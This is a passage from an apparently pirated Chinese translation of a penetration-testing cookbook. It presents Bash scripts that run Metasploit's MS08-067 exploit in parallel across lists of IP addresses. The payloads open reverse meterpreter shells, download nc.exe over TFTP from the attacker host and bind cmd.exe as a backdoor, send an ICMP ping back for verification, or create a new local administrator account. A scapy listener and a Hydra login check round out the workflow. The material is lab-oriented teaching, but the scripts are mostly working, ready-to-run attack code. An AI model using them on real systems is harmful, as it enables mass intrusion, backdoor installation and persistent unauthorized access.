   • 前几行与之前讨论过的脚本类似。第一行指向 Bash 解释器，第二行检查是否提供了参数，第三行将输入值分配给易于理解的变量名。

   • for循环用于遍历通过grep函数获得的 IP 地址列表。grep函数输出的 IP 地址列表对应于所有在 TCP 端口80上运行服务的系统。

   • 对于这些 IP 地址，我们运行 Nikto 扫描并将结果输出到/tmp/nikto-scans/目录。

   • 每个主机将生成不同的输出报告；为了避免命名冲突，我们将输出文件命名为目标机器的 IP 地址。剩下的唯一工作就是创建nikto-scans目录：

1. 通过不带任何参数执行脚本，脚本将输出使用说明。该说明表明应提供一个现有的 Nmap 可解析输出文件的文件名。当提供 Nmap 输出文件时，脚本会快速分析文件，查找任何在 TCP 端口80上运行服务的系统，然后对这些系统运行 Nikto 扫描，并将输出写入终端和/tmp/nikto-scans/目录：

1. 现在，我们可以导航到/tmp/nikto-scans/目录，查看 Nikto 为每个扫描的主机创建的文件：

1. 检查172.16.669.128的报告时，我们发现 Nikto 的扫描结果：

1. 在提供的示例中，脚本被传递给netscan.txt输出文件。通过快速分析该文件，脚本确定有四个系统在80端口上运行服务。然后，Nikto 对这些服务进行扫描，结果输出到终端，并为每个主机生成一个文件：

工作原理……

通过将 grep 序列作为 for 循环的值，本文中的 Bash 脚本实际上就是在循环执行该函数的输出。通过独立运行该函数，可以看到它只是提取出一份与运行 Web 服务的主机相对应的 IP 地址列表。然后，for 循环遍历这些 IP 地址，并对每个地址运行 Nikto 扫描。

使用反向 shell 有效载荷进行的多线程 MSF 利用

使用 Metasploit 框架进行大规模渗透测试的一大难点是每个利用都必须单独并按顺序执行。在需要确认多个系统中单个漏洞的可利用性时，单独对每个系统进行利用会变得既繁琐又令人不堪重负。幸运的是，通过结合 MSFCLI 和 Bash 脚本的强大功能，可以通过运行单个脚本轻松地在多个系统上同时执行利用。这一示例将演示如何使用 Bash 在多个系统上利用同一漏洞，并为每个系统打开一个 meterpreter shell。

准备工作

要使用本示例中的脚本，您需要能够访问多个具有相同漏洞的系统，并且这些漏洞可以通过 Metasploit 进行利用。在提供的示例中，一台运行易受攻击的 Windows XP 版本的虚拟机被复制，生成了三个 MS08-067 漏洞实例。有关如何设置 Windows 系统的更多信息，请参阅 第一章中的 安装 Windows 服务器 配方，入门。此外，本部分还需要使用如 Vim 或 GNU nano 等文本编辑器将脚本写入文件系统。有关编写脚本的更多信息，请参阅 第一章中的 使用文本编辑器（Vim 和 GNU nano） 配方，入门。

如何操作……

以下示例演示了如何使用 Bash 脚本同时利用同一漏洞的多个实例。这个脚本特别用于通过引用输入的 IP 地址列表来利用 MS08-067 NetAPI 漏洞的多个实例：

#!/bin/bash
if [ ! $1 ]; then echo "Usage: #./script <host file> <LHOST>"; exit; fi
iplist=$1
lhost=$2

i=4444
for ip in $(cat $iplist)
do
       gnome-terminal -x msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST $ip; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST $lhost; set LPORT $i; run"
 echo "Exploiting $ip and establishing reverse connection on local port $i"
i=$(($i+1))
done

1. 该脚本使用 for 循环对输入文本文件中列出的每个 IP 地址执行特定任务。该特定任务包括启动一个新的 GNOME 终端，接着执行 msfconsole -x 命令，该命令用于利用该系统的特定漏洞并启动反向 TCP meterpreter shell。由于 for 循环为每个 msfconsole 利用启动一个新的 GNOME 终端，因此每个利用都作为独立进程执行。这样，多个进程可以并行运行，每个目标都会同时被利用。

2. 本地端口值初始化为 4444，每多一个被利用的系统，端口值会递增 1，以确保每个 meterpreter shell 连接到不同的本地端口。因为每个进程都在独立的 shell 中执行，所以该脚本需要通过图形桌面界面执行，而非通过 SSH 连接。

3. ./multipwn.sh Bash 脚本可以如下执行：

1. 如果脚本在没有任何参数的情况下执行，脚本将输出相应的使用说明。该说明将指出脚本应使用 LHOST 变量来定义监听 IP 系统，并提供一个包含目标 IP 地址列表的文本文件的文件名。

2. 一旦使用这些参数执行，新的终端窗口将开始弹出。每个终端将运行输入列表中一个 IP 地址的漏洞利用序列。

3. 原始执行终端将输出正在执行的进程列表。在提供的示例中，三个不同的系统被利用，并为每个系统打开了一个独立的终端。

4. 其中一个终端的示例如下：

1. 每个终端都会启动一个独立的 msfconsole 实例并启动漏洞利用。如果漏洞利用成功，载荷将被执行，并且每个终端都会启动一个交互式的 meterpreter shell。

工作原理…

通过为每个进程使用独立的终端，可以通过单一 Bash 脚本执行多个并行漏洞利用。此外，使用递增的 LPORT 值分配，还可以同时执行多个反向 meterpreter shell。

带有后门可执行文件的多线程 MSF 漏洞利用

本教程将演示如何使用 Bash 脚本在多个系统上利用单一漏洞，并在每个系统上打开一个后门。后门的实现方法是在目标系统上准备一个 Netcat 可执行文件，并开启一个监听服务，接收到连接时执行cmd.exe。

准备工作

要使用本教程中演示的脚本，你需要访问多个系统，这些系统都有相同的漏洞，可以通过 Metasploit 进行利用。在提供的示例中，复制了一台运行有 Windows XP 漏洞版本的虚拟机，生成了三个 MS08-067 漏洞实例。有关如何设置 Windows 系统的更多信息，请参考 第一章中 安装 Windows Server 的食谱 入门 部分。此外，本部分还需要使用文本编辑器（如 Vim 或 GNU nano）编写脚本并保存到文件系统中。有关编写脚本的更多信息，请参考 第一章中 使用文本编辑器（Vim 和 Nano） 的食谱 入门 部分。

如何操作…

以下示例展示了如何使用 Bash 脚本同时利用单一漏洞的多个实例。这个脚本特别适用于利用 MS08-067 NetAPI 漏洞的多个实例，方法是引用包含 IP 地址列表的输入：

#!/bin/bash

if [ ! $1 ]; then echo "Usage: #./script <host file>"; exit; fi

iplist=$1

i=4444
for ip in $(cat $iplist)
do
  gnome-terminal -x msfconsole -x 
  "use exploit/windows/smb/ms08_067_netapi; set PAYLOAD windows/exec;
   set RHOST $ip; set CMD cmd.exe /c tftp -i 172.16.69.133 GET nc.exe
   && nc.exe -lvp 4444 -e cmd.exe; run"
   echo "Exploiting $ip and creating backdoor on TCP port 4444"
i=$(($i+1))
done

1. 这个脚本与前面提到的脚本有所不同，因为这个脚本会在每个目标系统上安装后门。在每个被利用的系统上，会执行一个有效载荷，利用集成的简易文件传输协议（TFTP）客户端抓取 Netcat 可执行文件，并使用它打开一个监听的 cmd.exe 终端服务，监听 TCP 端口 4444。

2. 为了使其正常工作，需要在 Kali 系统上运行 TFTP 服务。可以通过执行以下命令来实现：

1. 第一个命令启动 TFTP 服务，使用 UDP 端口 69 并将服务目录设置为 /tmp。第二个命令用于将 Netcat 可执行文件从 Windows binaries 文件夹复制到 TFTP 目录。

2. 现在，我们执行 ./multipwn.sh Bash 脚本：

1. 如果脚本在没有提供任何参数的情况下执行，脚本将输出相应的用法说明。该用法说明将指出脚本应当带有一个参数，指定一个包含目标 IP 地址列表的文本文件的文件名。

2. 执行时提供此参数后，一系列新的终端将开始弹出。这些终端将分别运行输入列表中每个 IP 地址的利用序列。

3. 原始执行终端将输出正在执行的进程列表，并指出每个终端上将创建一个后门。

4. 在每个终端中的利用序列完成后，可以使用 Netcat 连接到由有效载荷打开的远程服务：

1. 在提供的示例中，连接到成功被利用的系统（IP 地址为 172.16.69.140）的 TCP 端口 4444，即可远程访问 cmd.exe 终端服务。

它是如何工作的…

Netcat 是一个功能强大的工具，可用于多种目的。虽然这是远程执行服务的有效方法，但不建议在生产系统中使用这种技术。因为 Netcat 打开的后门可以被任何能够与监听端口建立 TCP 连接的人访问。

带有 ICMP 验证的多线程 MSF 利用

本示例将展示如何使用 Bash 脚本在多个系统上利用单一漏洞，并通过 ICMP 流量验证每个系统的成功利用。此技术开销较小，且可以轻松用于收集可利用的系统列表。

准备就绪

要使用本食谱中演示的脚本，您需要访问多个系统，每个系统都有相同的漏洞，并且可以使用 Metasploit 进行利用。在提供的示例中，一台运行漏洞版本 Windows XP 的虚拟机被复制以生成三个 MS08-067 漏洞实例。有关设置 Windows 系统的更多信息，请参考 第一章《安装 Windows Server》中的相关内容，入门。此外，本节还需要使用文本编辑器（如 Vim 或 GNU nano）编写脚本。有关编写脚本的更多信息，请参考 第一章《使用文本编辑器（Vim 和 GNU nano）》中的相关内容，入门。

如何操作……

以下示例演示了如何使用 Bash 脚本同时利用单个漏洞的多个实例。这个脚本特别可以通过引用一个 IP 地址输入列表，来利用 MS08-067 NetAPI 漏洞的多个实例：

#!/bin/bash

if [ ! $1 ]; then echo "Usage: #./script <host file>"; exit; fi

iplist=$1

for ip in $(cat $iplist)
do
 gnome-terminal -x msfconsole -x 
  "use exploit/windows/smb/ms08_067_netapi; set RHOST $ip;
   set PAYLOAD windows/exec; set CMD cmd.exe /c
   ping 172.16.69.133 -n 1 -i 15; run"
   echo "Exploiting $ip and pinging"
i=$(($i+1))
done

1. 这个脚本与之前讨论的脚本不同，因为负载仅仅是将 ICMP 回显请求从被攻击系统发送回攻击系统。

2. 执行 ping 命令时，使用 -i 选项来指定一个 生存时间（TTL） 值为 15。这个替代的 TTL 值用于区分利用生成的流量和正常的 ICMP 流量。

3. 应该执行一个自定义监听器 Python 脚本，通过接收 ICMP 流量来识别被利用的系统。

4. 该脚本如下所示：

        #!/usr/bin/python

        from scapy.all import *
        import logging
        logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

        def rules(pkt):
              try:
                    if ((pkt[IP].dst=="172.16.69.133") and
                     (pkt[ICMP]) and pkt[IP].ttl <= 15):
                    print str(pkt[IP].src) + " is exploitable"
             except:
                  pass

        print "Listening for Incoming ICMP Traffic.
         Use Ctrl+C to stop scanning"
        sniff(lfilter=rules,store=0)

1. 脚本监听所有传入流量。当收到一个 TTL 值为 15 或更低的 ICMP 包时，脚本将该系统标记为可被利用：

1. 监听传入的 ICMP 流量，使用Ctrl + C 来停止扫描。Python 流量监听器应该首先执行。脚本开始时不应产生任何输出。这个脚本应在整个利用过程期间持续运行。一旦脚本启动，应该启动 Bash 利用脚本。

2. 当脚本执行时，原始终端 Shell 会显示每个系统正在被利用，并且 ping 序列正在执行。每个 IP 地址的新 GNOME 终端也将为输入列表中的每个地址打开。每个利用过程完成后，应该从目标系统发起 ICMP 回显请求：

1. 假设利用成功，Python 监听脚本将识别生成的流量，并将每个 ICMP 流量的源 IP 地址列为 exploitable。

它是如何工作的……

ICMP 流量可能看起来不像是验证目标系统可利用性的一种直观方式。然而，它实际上效果非常好。单个 ICMP 回显请求不会在目标系统上留下任何利用痕迹，并且不需要过多的开销。此外，15的自定义 TTL 值使得生成误报的可能性极小，因为几乎所有系统的 TTL 值初始值都是128或更高。

多线程 MSF 利用与管理员账户创建

本教程将演示如何使用 Bash 在多个系统上利用单一漏洞，并在每个系统上添加一个新的管理员账户。该技术可用于在稍后通过集成的终端服务或 SMB 身份验证访问被攻破的系统。

准备工作

要使用本教程中演示的脚本，您需要访问多个具有相同漏洞的系统，这些系统可以通过 Metasploit 进行利用。在提供的示例中，一台运行易受攻击版本的 Windows XP 的虚拟机被复制，用以生成三个 MS08-067 漏洞实例。有关设置 Windows 系统的更多信息，请参考第一章中的安装 Windows 服务器教程，入门部分。此外，本节还要求使用如 Vim 或 GNU nano 等文本编辑器将脚本写入文件系统。有关编写脚本的更多信息，请参考第一章中的使用文本编辑器（Vim 和 GNU nano）教程，入门部分。

如何操作…

接下来的示例演示了如何使用 Bash 脚本同时利用多个实例的单一漏洞。特别是，这个脚本可以通过引用 IP 地址输入列表来利用多个 MS08-067 NetAPI 漏洞实例：

#!/bin/bash

if [ ! $1 ]; then echo "Usage: #./script <host file> <username>
<password>"; 
exit; fi

iplist=$1
user=$2
pass=$3

for ip in $(cat $iplist)
do
gnome-terminal -x msfconsole -x
"use exploit/windows/smb/ms08_067_netapi; set RHOST $ip;
 set PAYLOAD windows/exec; set CMD cmd.exe /c net user
 $user $pass add && net localgroup administrators $user add;
 run"
echo "Exploiting $ip and adding user $user"
i=$(($i+1))
done

1. 该脚本与之前的多线程利用脚本不同，因为其有效载荷的设计。

2. 在这种情况下，成功利用漏洞后会执行两个顺序命令。第一个命令创建一个名为hutch的新用户账户，并设置关联的密码。第二个命令将新创建的用户账户添加到本地管理员组中：

1. 如果没有提供任何参数执行脚本，脚本将输出适当的使用说明。该使用说明会指出，脚本应该带上一个指定包含目标 IP 地址列表的文本文件的文件名作为参数来执行。

2. 一旦执行该命令，多个新的终端将开始弹出。这些终端将依次执行输入列表中每个 IP 地址的利用序列。

3. 原始执行终端会输出正在执行的进程列表，并指示新用户账户将在每个进程上添加。每个终端中的利用序列完成后，系统可以通过集成终端服务（如 RDP）或通过远程 SMB 认证进行访问。

4. 为了演示账户已被添加，Hydra 用于使用新添加的凭据远程登录到被利用的系统：

1. Hydra 表示使用新创建的凭据登录成功。这个新创建的账户可以用于进一步的恶意操作，或者可以使用脚本来测试该账户的存在，以验证漏洞的利用情况。

它是如何工作的……

通过在每个执行系统上添加一个用户账户，攻击者可以继续在该系统上执行后续操作。这种方法有优点也有缺点。在被攻破的系统上添加一个新账户比攻破现有账户要更快速，并且可以立即访问现有的远程服务，如 RDP。另一方面，添加一个新账户并不非常隐蔽，有时可能会触发基于主机的入侵检测系统的警报。

本书已从 AvaxHome 下载！

访问我的博客查看更多新书：

avxhm.se/blogs/AlenMiler